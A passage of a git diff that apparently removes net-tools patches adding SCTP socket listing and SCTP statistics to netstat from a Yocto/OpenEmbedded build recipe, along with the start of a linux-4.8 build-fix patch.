-+ /*print all addresses*/
-+ const char *this_local_addr;
-+ int first=1;
-+ char local_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(port), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+ for(this_local_addr=strtok(laddrs_str," \t\n");
-+ this_local_addr;
-+ this_local_addr=strtok(0," \t\n"))
-+ {
-+ char local_addr[64];
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp ");
-+ else
-+ printf(" ");
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-47s", buffer);
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+ first = 0;
-+ }
-+ }
-+
-+ finish_this_one(uid,inode,"");
-+}
-+
-+static void sctp_assoc_do_one(int lnr, char *line)
-+{
-+ char buffer[1024];
-+ int type, state, state2, lport,rport;
-+ int uid;
-+ unsigned rxqueue,txqueue;
-+ unsigned long inode;
-+
-+ struct aftype *ap;
-+#if HAVE_AFINET6
-+ struct sockaddr_in6 localaddr,remoteaddr;
-+#else
-+ struct sockaddr_in localaddr,remoteaddr;
-+#endif
-+ const char *sty_str;
-+ const char *sst_str;
-+ const char *st_str;
-+ const char *txqueue_str;
-+ const char *rxqueue_str;
-+ const char *lport_str,*rport_str;
-+ const char *uid_str;
-+ const char *inode_str;
-+ const char *pladdr_str;
-+ char *laddrs_str;
-+ const char *praddr_str;
-+ char *raddrs_str;
-+
-+ if(lnr == 0) {
-+ /* ASSOC SOCK STY SST ST HBKT tx_queue rx_queue uid inode LPORT RPORT pladdr praddr LADDRS <-> RADDRS*/
-+ return;
-+ }
-+
-+ strtok(line," \t\n"); /*skip ptr*/
-+ strtok(0," \t\n"); /*skip ptr*/
-+ sty_str = strtok(0," \t\n");
-+ sst_str = strtok(0," \t\n");
-+ st_str = strtok(0," \t\n");
-+ strtok(0," \t\n"); /*skip hash bucket*/
-+ txqueue_str = strtok(0," \t\n");
-+ rxqueue_str = strtok(0," \t\n");
-+ uid_str = strtok(0," \t\n");
-+ inode_str = strtok(0," \t\n");
-+ lport_str=strtok(0," \t\n");
-+ rport_str=strtok(0," \t\n");
-+ pladdr_str = strtok(0," \t\n");
-+ praddr_str = strtok(0," \t\n");
-+ laddrs_str=strtok(0,"<->\t\n");
-+ raddrs_str=strtok(0,"<->\t\n");
-+
-+ type = atoi(sty_str);
-+ state = atoi(sst_str);
-+ state2 = atoi(st_str);
-+ txqueue = atoi(txqueue_str);
-+ rxqueue = atoi(rxqueue_str);
-+ uid = atoi(uid_str);
-+ inode = strtoul(inode_str,0,0);
-+ lport = atoi(lport_str);
-+ rport = atoi(rport_str);
-+
-+ if(flag_sctp<=1) {
-+ /* only print the primary addresses */
-+ char local_addr[64];
-+ char local_port[16];
-+ char remote_addr[64];
-+ char remote_port[16];
-+
-+ ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(lport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ ap = process_sctp_addr_str(praddr_str, (struct sockaddr*)&remoteaddr);
-+ if(ap)
-+ safe_strncpy(remote_addr,
-+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-+ sizeof(remote_addr));
-+ else
-+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-+
-+ snprintf(remote_port, sizeof(remote_port), "%s",
-+ get_sname(htons(rport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ printf("sctp");
-+ printf(" %6u %6u ", rxqueue, txqueue);
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-23s", buffer);
-+ printf(" ");
-+ sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ printf("%-23s", buffer);
-+ printf(" %-12s", sctp_socket_state_str(state));
-+ } else {
-+ /*print all addresses*/
-+ const char *this_local_addr;
-+ const char *this_remote_addr;
-+ char *ss1,*ss2;
-+ int first=1;
-+ char local_port[16];
-+ char remote_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(lport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+ snprintf(remote_port, sizeof(remote_port), "%s",
-+ get_sname(htons(rport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ this_local_addr=strtok_r(laddrs_str," \t\n",&ss1);
-+ this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2);
-+ while(this_local_addr || this_remote_addr) {
-+ char local_addr[64];
-+ char remote_addr[64];
-+ if(this_local_addr) {
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+ }
-+ if(this_remote_addr) {
-+ ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr);
-+ if(ap)
-+ safe_strncpy(remote_addr,
-+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-+ sizeof(remote_addr));
-+ else
-+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-+ }
-+
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp %6u %6u ", rxqueue, txqueue);
-+ else
-+ printf(" ");
-+ if(this_local_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ else
-+ sprintf(buffer,"%s", local_addr);
-+ printf("%-23s", buffer);
-+ } else
-+ printf("%-23s", "");
-+ printf(" ");
-+ if(this_remote_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ else
-+ sprintf(buffer,"%s", remote_addr);
-+ printf("%-23s", buffer);
-+ } else
-+ printf("%-23s", "");
-+
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+
-+ first = 0;
-+ this_local_addr=strtok_r(0," \t\n",&ss1);
-+ this_remote_addr=strtok_r(0," \t\n",&ss2);
-+ }
-+ }
-+
-+ finish_this_one(uid,inode,"");
-+}
-+
-+static int sctp_info_eps(void)
-+{
-+#if !defined(_PATH_PROCNET_SCTP_EPS)
-+#define _PATH_PROCNET_SCTP_EPS "/proc/net/sctp/eps"
-+#endif
-+ INFO_GUTS(_PATH_PROCNET_SCTP_EPS, "AF INET (sctp)",
-+ sctp_eps_do_one);
-+}
-+
-+static int sctp_info_assocs(void)
-+{
-+#if !defined(_PATH_PROCNET_SCTP_ASSOCS)
-+#define _PATH_PROCNET_SCTP_ASSOCS "/proc/net/sctp/assocs"
-+#endif
-+ INFO_GUTS(_PATH_PROCNET_SCTP_ASSOCS, "AF INET (sctp)",
-+ sctp_assoc_do_one);
-+}
-+
-+static int sctp_info(void)
-+{
-+ if(flag_all)
-+ sctp_info_eps();
-+ return sctp_info_assocs();
-+}
-+
- static void raw_do_one(int lnr, const char *line)
- {
- char buffer[8192], local_addr[64], rem_addr[64];
-@@ -1549,7 +1932,7 @@ static void usage(void)
- fprintf(stderr, _(" -F, --fib display Forwarding Information Base (default)\n"));
- fprintf(stderr, _(" -C, --cache display routing cache instead of FIB\n\n"));
-
-- fprintf(stderr, _(" <Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom\n"));
-+ fprintf(stderr, _(" <Socket>={-t|--tcp} {-u|--udp} {-S|--sctp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom\n"));
- fprintf(stderr, _(" <AF>=Use '-6|-4' or '-A <af>' or '--<af>'; default: %s\n"), DFLT_AF);
- fprintf(stderr, _(" List of possible address families (which support routing):\n"));
- print_aflist(1); /* 1 = routeable */
-@@ -1574,6 +1957,7 @@ int main
- {"protocol", 1, 0, 'A'},
- {"tcp", 0, 0, 't'},
- {"udp", 0, 0, 'u'},
-+ {"sctp", 0, 0, 'S' },
- {"raw", 0, 0, 'w'},
- {"unix", 0, 0, 'x'},
- {"listening", 0, 0, 'l'},
-@@ -1604,7 +1988,7 @@ int main
- getroute_init(); /* Set up AF routing support */
-
- afname[0] = '\0';
-- while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuWVv?wxl64", longopts, &lop)) != EOF)
-+ while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuSWVv?wxl64", longopts, &lop)) != EOF)
- switch (i) {
- case -1:
- break;
-@@ -1696,10 +2080,12 @@ int main
- case 't':
- flag_tcp++;
- break;
--
- case 'u':
- flag_udp++;
- break;
-+ case 'S':
-+ flag_sctp++;
-+ break;
- case 'w':
- flag_raw++;
- break;
-@@ -1717,13 +2103,13 @@ int main
- if (flag_int + flag_rou + flag_mas + flag_sta > 1)
- usage();
-
-- if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_raw))
-- flag_tcp = flag_udp = flag_raw = 1;
-+ if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_sctp || flag_raw))
-+ flag_tcp = flag_udp = flag_sctp = flag_raw = 1;
-
-- if ((flag_tcp || flag_udp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6))
-+ if ((flag_tcp || flag_udp || flag_sctp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6))
- flag_inet = flag_inet6 = 1;
-
-- flag_arg = flag_tcp + flag_udp + flag_raw + flag_unx + flag_ipx
-+ flag_arg = flag_tcp + flag_udp + flag_sctp + flag_raw + flag_unx + flag_ipx
- + flag_ax25 + flag_netrom + flag_igmp + flag_x25;
-
- if (flag_mas) {
-@@ -1751,7 +2137,7 @@ int main
- char buf[256];
- if (!afname[0]) {
- inittab();
-- parsesnmp(flag_raw, flag_tcp, flag_udp);
-+ parsesnmp(flag_raw, flag_tcp, flag_udp, flag_sctp);
- } else {
- safe_strncpy(buf, afname, sizeof(buf));
- tmp1 = buf;
-@@ -1804,7 +2190,7 @@ int main
- return (i);
- }
- for (;;) {
-- if (!flag_arg || flag_tcp || flag_udp || flag_raw) {
-+ if (!flag_arg || flag_tcp || flag_udp || flag_sctp || flag_raw) {
- #if HAVE_AFINET
- prg_cache_load();
- printf(_("Active Internet connections ")); /* xxx */
-@@ -1843,6 +2229,11 @@ int main
- if (i)
- return (i);
- }
-+ if (!flag_arg || flag_sctp) {
-+ i = sctp_info();
-+ if (i)
-+ return (i);
-+ }
- if (!flag_arg || flag_raw) {
- i = raw_info();
- if (i)
-diff --git a/statistics.c b/statistics.c
-index 03600d7..eb8d7dc 100644
---- a/statistics.c
-+++ b/statistics.c
-@@ -21,7 +21,7 @@
- #define UFWARN(x)
- #endif
-
--int print_static,f_raw,f_tcp,f_udp,f_unknown = 1;
-+int print_static,f_raw,f_tcp,f_udp,f_sctp,f_unknown = 1;
-
- enum State {
- number = 0, opt_number, i_forward, i_inp_icmp, i_outp_icmp, i_rto_alg,
-@@ -297,6 +297,27 @@ struct entry Tcpexttab[] =
- { "TCPRenoRecoveryFail", N_("%u classic Reno fast retransmits failed"), opt_number },
- };
-
-+struct entry Sctptab[] =
-+{
-+ {"SctpCurrEstab", N_("%u Current Associations"), number},
-+ {"SctpActiveEstabs", N_("%u Active Associations"), number},
-+ {"SctpPassiveEstabs", N_("%u Passive Associations"), number},
-+ {"SctpAborteds", N_("%u Number of Aborteds "), number},
-+ {"SctpShutdowns", N_("%u Number of Graceful Terminations"), number},
-+ {"SctpOutOfBlues", N_("%u Number of Out of Blue packets"), number},
-+ {"SctpChecksumErrors", N_("%u Number of Packets with invalid Checksum"), number},
-+ {"SctpOutCtrlChunks", N_("%u Number of control chunks sent"), number},
-+ {"SctpOutOrderChunks", N_("%u Number of ordered chunks sent"), number},
-+ {"SctpOutUnorderChunks", N_("%u Number of Unordered chunks sent"), number},
-+ {"SctpInCtrlChunks", N_("%u Number of control chunks received"), number},
-+ {"SctpInOrderChunks", N_("%u Number of ordered chunks received"), number},
-+ {"SctpInUnorderChunks", N_("%u Number of Unordered chunks received"), number},
-+ {"SctpFragUsrMsgs", N_("%u Number of messages fragmented"), number},
-+ {"SctpReasmUsrMsgs", N_("%u Number of messages reassembled "), number},
-+ {"SctpOutSCTPPacks", N_("%u Number of SCTP packets sent"), number},
-+ {"SctpInSCTPPacks", N_("%u Number of SCTP packets received"), number},
-+};
-+
- struct tabtab {
- char *title;
- struct entry *tab;
-@@ -310,6 +331,7 @@ struct tabtab snmptabs[] =
- {"Icmp", Icmptab, sizeof(Icmptab), &f_raw},
- {"Tcp", Tcptab, sizeof(Tcptab), &f_tcp},
- {"Udp", Udptab, sizeof(Udptab), &f_udp},
-+ {"Sctp", Sctptab, sizeof(Sctptab), &f_sctp},
- {"TcpExt", Tcpexttab, sizeof(Tcpexttab), &f_tcp},
- {NULL}
- };
-@@ -499,12 +521,40 @@ void process6_fd(FILE *f)
-
- }
-
--void parsesnmp(int flag_raw, int flag_tcp, int flag_udp)
-+/* Process a file with name-value lines (like /proc/net/sctp/snmp) */
-+void process_fd2(FILE *f, const char *filename)
-+{
-+ char buf1[1024];
-+ char *sp;
-+ struct tabtab *tab;
-+
-+ tab = newtable(snmptabs, "Sctp");
-+
-+ while (fgets(buf1, sizeof buf1, f)) {
-+ sp = buf1 + strcspn(buf1, " \t\n");
-+ if (!sp)
-+ goto formaterr;
-+ *sp = '\0';
-+ sp++;
-+
-+ sp += strspn(sp, " \t\n");
-+
-+ if (*sp != '\0' && *(tab->flag))
-+ printval(tab, buf1, strtoul(sp, 0, 10));
-+ }
-+ return;
-+
-+formaterr:
-+ fprintf(stderr,_("error parsing %s\n"), filename);
-+ return;
-+}
-+
-+void parsesnmp(int flag_raw, int flag_tcp, int flag_udp, int flag_sctp)
- {
- FILE *f;
-
-- f_raw = flag_raw; f_tcp = flag_tcp; f_udp = flag_udp;
--
-+ f_raw = flag_raw; f_tcp = flag_tcp; f_udp = flag_udp; f_sctp = flag_sctp;
-+
- f = proc_fopen("/proc/net/snmp");
- if (!f) {
- perror(_("cannot open /proc/net/snmp"));
-@@ -530,6 +580,16 @@ void parsesnmp(int flag_raw, int flag_tcp, int flag_udp)
-
- fclose(f);
- }
-+
-+ f = fopen("/proc/net/sctp/snmp", "r");
-+ if (f) {
-+ process_fd2(f,"/proc/net/sctp/snmp");
-+ if (ferror(f))
-+ perror("/proc/net/sctp/snmp");
-+
-+ fclose(f);
-+ }
-+
- return;
- }
-
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch
deleted file mode 100644
index d34e651327..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 14287b594e1f02b811f889fb515c1a51b72c08d4 Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Thu, 14 Jan 2016 17:07:48 +0800
-Subject: [PATCH 2/3] net-tools: add SCTP support for netstat
-
-Upstream-Status: pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- netstat.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/netstat.c b/netstat.c
-index 5d1a4a1..56a15c2 100644
---- a/netstat.c
-+++ b/netstat.c
-@@ -2104,7 +2104,7 @@ int main
- usage();
-
- if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_sctp || flag_raw))
-- flag_tcp = flag_udp = flag_sctp = flag_raw = 1;
-+ flag_tcp = flag_udp = flag_raw = 1;
-
- if ((flag_tcp || flag_udp || flag_sctp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6))
- flag_inet = flag_inet6 = 1;
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch
deleted file mode 100644
index 8b2ecab707..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch
+++ /dev/null
@@ -1,363 +0,0 @@
-From 1d386279a449a1a6b96b88a71f35bf13b14b2c2c Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Thu, 14 Jan 2016 17:11:24 +0800
-Subject: [PATCH 3/3] net-tools: add SCTP support for netstat
-
-Upstream-Status: pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- netstat.c | 282 ++++++++++++++++++++++++--------------------------------------
- 1 file changed, 108 insertions(+), 174 deletions(-)
-
-diff --git a/netstat.c b/netstat.c
-index 56a15c2..86adadb 100644
---- a/netstat.c
-+++ b/netstat.c
-@@ -1095,23 +1095,21 @@ static void sctp_eps_do_one(int lnr, char *line)
- const char *lport_str;
- const char *uid_str;
- const char *inode_str;
-- const char *pladdr_str;
- char *laddrs_str;
-
- if(lnr == 0) {
-- /* ENDPT SOCK STY SST HBKT LPORT uid inode pladdr LADDRS*/
-+ /* ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS */
- return;
- }
-
-- strtok(line," \t\n"); /*skip ptr*/
-- strtok(0," \t\n"); /*skip ptr*/
-+ strtok(line," \t\n"); /*skip endpt*/
-+ strtok(0," \t\n"); /*skip sock*/
- sty_str = strtok(0," \t\n");
- sst_str = strtok(0," \t\n");
- strtok(0," \t\n"); /*skip hash bucket*/
- lport_str=strtok(0," \t\n");
- uid_str = strtok(0," \t\n");
- inode_str = strtok(0," \t\n");
-- pladdr_str = strtok(0," \t\n");
- laddrs_str=strtok(0,"\t\n");
-
- type = atoi(sty_str);
-@@ -1119,61 +1117,35 @@ static void sctp_eps_do_one(int lnr, char *line)
- port = atoi(lport_str);
- uid = atoi(uid_str);
- inode = strtoul(inode_str,0,0);
--
-- if(flag_sctp<=1) {
-- /* only print the primary address */
-- char local_addr[64];
-- char local_port[16];
--
-- ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
--
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(port), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- printf("sctp ");
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-- printf("%-47s", buffer);
-- printf(" %-12s", sctp_socket_state_str(state));
-- } else {
-- /*print all addresses*/
-- const char *this_local_addr;
-- int first=1;
-- char local_port[16];
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(port), "sctp",
-- flag_not & FLAG_NUM_PORT));
-- for(this_local_addr=strtok(laddrs_str," \t\n");
-- this_local_addr;
-- this_local_addr=strtok(0," \t\n"))
-- {
-- char local_addr[64];
-- ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-
-- if(!first) printf("\n");
-- if(first)
-- printf("sctp ");
-- else
-- printf(" ");
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-- printf("%-47s", buffer);
-- printf(" %-12s", first?sctp_socket_state_str(state):"");
-- first = 0;
-- }
-+ const char *this_local_addr;
-+ int first=1;
-+ char local_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(port), "sctp", flag_not & FLAG_NUM_PORT));
-+ for(this_local_addr=strtok(laddrs_str," \t\n");
-+ this_local_addr;
-+ this_local_addr=strtok(0," \t\n"))
-+ {
-+ char local_addr[64];
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp ");
-+ else
-+ printf(" ");
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-55s", buffer);
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+ first = 0;
- }
--
- finish_this_one(uid,inode,"");
- }
-
-@@ -1199,32 +1171,29 @@ static void sctp_assoc_do_one(int lnr, char *line)
- const char *lport_str,*rport_str;
- const char *uid_str;
- const char *inode_str;
-- const char *pladdr_str;
- char *laddrs_str;
-- const char *praddr_str;
- char *raddrs_str;
--
-+
- if(lnr == 0) {
-- /* ASSOC SOCK STY SST ST HBKT tx_queue rx_queue uid inode LPORT RPORT pladdr praddr LADDRS <-> RADDRS*/
-+ /* ASSOC SOCK STY SST ST HBKT ASSOC-ID TX_QUEUE RX_QUEUE UID INODE LPORT RPORT LADDRS <-> RADDRS */
- return;
- }
--
-- strtok(line," \t\n"); /*skip ptr*/
-- strtok(0," \t\n"); /*skip ptr*/
-+
-+ strtok(line," \t\n"); /*skip assoc*/
-+ strtok(0," \t\n"); /*skip sock*/
- sty_str = strtok(0," \t\n");
- sst_str = strtok(0," \t\n");
- st_str = strtok(0," \t\n");
- strtok(0," \t\n"); /*skip hash bucket*/
-+ strtok(0," \t\n"); /*skip hash assoc-id*/
- txqueue_str = strtok(0," \t\n");
- rxqueue_str = strtok(0," \t\n");
- uid_str = strtok(0," \t\n");
- inode_str = strtok(0," \t\n");
- lport_str=strtok(0," \t\n");
- rport_str=strtok(0," \t\n");
-- pladdr_str = strtok(0," \t\n");
-- praddr_str = strtok(0," \t\n");
-- laddrs_str=strtok(0,"<->\t\n");
-- raddrs_str=strtok(0,"<->\t\n");
-+ laddrs_str = strtok(0,"<->\t\n");
-+ raddrs_str = strtok(0,"<->\t\n");
-
- type = atoi(sty_str);
- state = atoi(sst_str);
-@@ -1235,116 +1204,81 @@ static void sctp_assoc_do_one(int lnr, char *line)
- inode = strtoul(inode_str,0,0);
- lport = atoi(lport_str);
- rport = atoi(rport_str);
--
-- if(flag_sctp<=1) {
-- /* only print the primary addresses */
-- char local_addr[64];
-- char local_port[16];
-- char remote_addr[64];
-- char remote_port[16];
--
-- ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
--
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(lport), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- ap = process_sctp_addr_str(praddr_str, (struct sockaddr*)&remoteaddr);
-- if(ap)
-- safe_strncpy(remote_addr,
-- ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-- sizeof(remote_addr));
-- else
-- sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
--
-- snprintf(remote_port, sizeof(remote_port), "%s",
-- get_sname(htons(rport), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- printf("sctp");
-- printf(" %6u %6u ", rxqueue, txqueue);
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-- printf("%-23s", buffer);
-- printf(" ");
-- sprintf(buffer,"%s:%s", remote_addr, remote_port);
-- printf("%-23s", buffer);
-- printf(" %-12s", sctp_socket_state_str(state));
-- } else {
-- /*print all addresses*/
-- const char *this_local_addr;
-- const char *this_remote_addr;
-- char *ss1,*ss2;
-- int first=1;
-- char local_port[16];
-- char remote_port[16];
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(lport), "sctp",
-- flag_not & FLAG_NUM_PORT));
-- snprintf(remote_port, sizeof(remote_port), "%s",
-- get_sname(htons(rport), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- this_local_addr=strtok_r(laddrs_str," \t\n",&ss1);
-- this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2);
-- while(this_local_addr || this_remote_addr) {
-- char local_addr[64];
-- char remote_addr[64];
-- if(this_local_addr) {
-- ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-- }
-- if(this_remote_addr) {
-- ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr);
-- if(ap)
-- safe_strncpy(remote_addr,
-- ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-- sizeof(remote_addr));
-- else
-- sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-- }
-
-- if(!first) printf("\n");
-- if(first)
-- printf("sctp %6u %6u ", rxqueue, txqueue);
-- else
-- printf(" ");
-- if(this_local_addr) {
-- if(first)
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-+ /*print all addresses*/
-+ const char *this_local_addr;
-+ const char *this_remote_addr;
-+ char *ss1,*ss2;
-+ int first=1;
-+ char local_port[16];
-+ char remote_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(lport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+ snprintf(remote_port, sizeof(remote_port), "%s",
-+ get_sname(htons(rport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ this_local_addr=strtok_r(laddrs_str," \t\n",&ss1);
-+ this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2);
-+ while(this_local_addr || this_remote_addr) {
-+ char local_addr[64];
-+ char remote_addr[64];
-+
-+ if(this_local_addr) {
-+ if (this_local_addr[0] == '*') {
-+ /* skip * */
-+ this_local_addr++;
-+ }
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not), sizeof(local_addr));
- else
-- sprintf(buffer,"%s", local_addr);
-- printf("%-23s", buffer);
-- } else
-- printf("%-23s", "");
-- printf(" ");
-- if(this_remote_addr) {
-- if(first)
-- sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+ }
-+ if(this_remote_addr) {
-+ if (this_remote_addr[0] == '*') {
-+ /* skip * */
-+ this_remote_addr++;
-+ }
-+ ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr);
-+ if(ap)
-+ safe_strncpy(remote_addr,
-+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not), sizeof(remote_addr));
- else
-- sprintf(buffer,"%s", remote_addr);
-- printf("%-23s", buffer);
-- } else
-- printf("%-23s", "");
--
-- printf(" %-12s", first?sctp_socket_state_str(state):"");
-+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-+ }
-
-- first = 0;
-- this_local_addr=strtok_r(0," \t\n",&ss1);
-- this_remote_addr=strtok_r(0," \t\n",&ss2);
-- }
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp %6u %6u ", rxqueue, txqueue);
-+ else
-+ printf(" ");
-+ if(this_local_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ else
-+ sprintf(buffer,"%s", local_addr);
-+ printf("%-27s", buffer);
-+ } else
-+ printf("%-27s", "");
-+ printf(" ");
-+ if(this_remote_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ else
-+ sprintf(buffer,"%s", remote_addr);
-+ printf("%-27s", buffer);
-+ } else
-+ printf("%-27s", "");
-+
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+
-+ first = 0;
-+ this_local_addr=strtok_r(0," \t\n",&ss1);
-+ this_remote_addr=strtok_r(0," \t\n",&ss2);
- }
--
- finish_this_one(uid,inode,"");
- }
-
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch
deleted file mode 100644
index 505eeb048a..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 4d56645ea144a34f7cdd3e3ede6452d81fbae251 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Sat, 8 Oct 2016 14:42:54 +0800
-Subject: [PATCH] iptunnel.c: include linux/ip.h to fix building with linux-4.8
-
-Fix a build error when using the linux-4.8 headers that results in:
-
-In file included from
